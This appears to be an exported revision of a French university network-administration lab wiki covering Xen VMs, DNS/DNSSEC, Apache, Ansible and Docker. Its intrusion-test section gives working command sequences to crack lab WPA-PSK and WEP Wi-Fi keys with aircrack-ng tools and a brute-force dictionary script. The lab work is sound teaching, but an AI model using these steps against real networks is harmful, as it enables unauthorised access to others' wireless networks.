On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
ServerName www.chlamydiae.site&lt;br /&gt;
		ServerAlias chlamydiae.site&lt;br /&gt;
		DocumentRoot /var/www/html/&lt;br /&gt;
		&lt;br /&gt;
		SSLEngine on &lt;br /&gt;
        	SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt       &lt;br /&gt;
		SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
		SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
	  	SSLVerifyclient NONE&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
	  ServerName www.chlamydiae.site&lt;br /&gt;
	  ServerAlias chlamydiae.site&lt;br /&gt;
	  Redirect / https://www.chlamydiae.site&lt;br /&gt;
	  ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
	  ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
	  &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
		  SetHandler balancer-manager&lt;br /&gt;
                  Require host 193.48.57.180&lt;br /&gt;
	  &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  		  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt; &lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
  	ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51812</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51812"/>
				<updated>2019-12-16T15:02:51Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Configuration de vos serveurs internes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
